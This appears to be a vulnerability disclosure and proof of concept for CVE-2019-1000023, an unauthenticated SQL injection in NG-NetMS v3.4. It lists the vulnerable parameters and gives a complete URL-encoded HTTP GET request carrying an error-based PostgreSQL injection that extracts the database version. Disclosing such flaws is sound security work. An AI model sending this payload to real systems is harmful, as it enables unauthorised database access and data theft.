  • CVE ID: CVE-2019-1000023
  • CWE ID: CWE-89

#Proof of Concept

The unauthenticated SQL Injection vulnerability can be exploited by issuing a specially crafted HTTP GET request. NG-NetMS v3.4 application fails to properly sanitize untrusted data before adding it to a SQL query. A malicious attacker can include own SQL commands which database will execute.

Identified vulnerable parameters: id, id_access_type and id_attr_access.

The following HTTP GET request allows an attacker to exploit the SQL injection vulnerability to return banner information.


GET /index.php?id=1%27%20AND%201=CAST((CHR(113)||CHR(112)||CHR(107)||CHR(122)||CHR(113))||(COALESCE(CAST(VERSION()%20AS%20CHARACTER(10000)),(CHR(32))))::text||(CHR(113)||CHR(106)||CHR(120)||CHR(113)||CHR(113))%20AS%20NUMERIC)--%20&r=attrValue/index HTTP/1.1
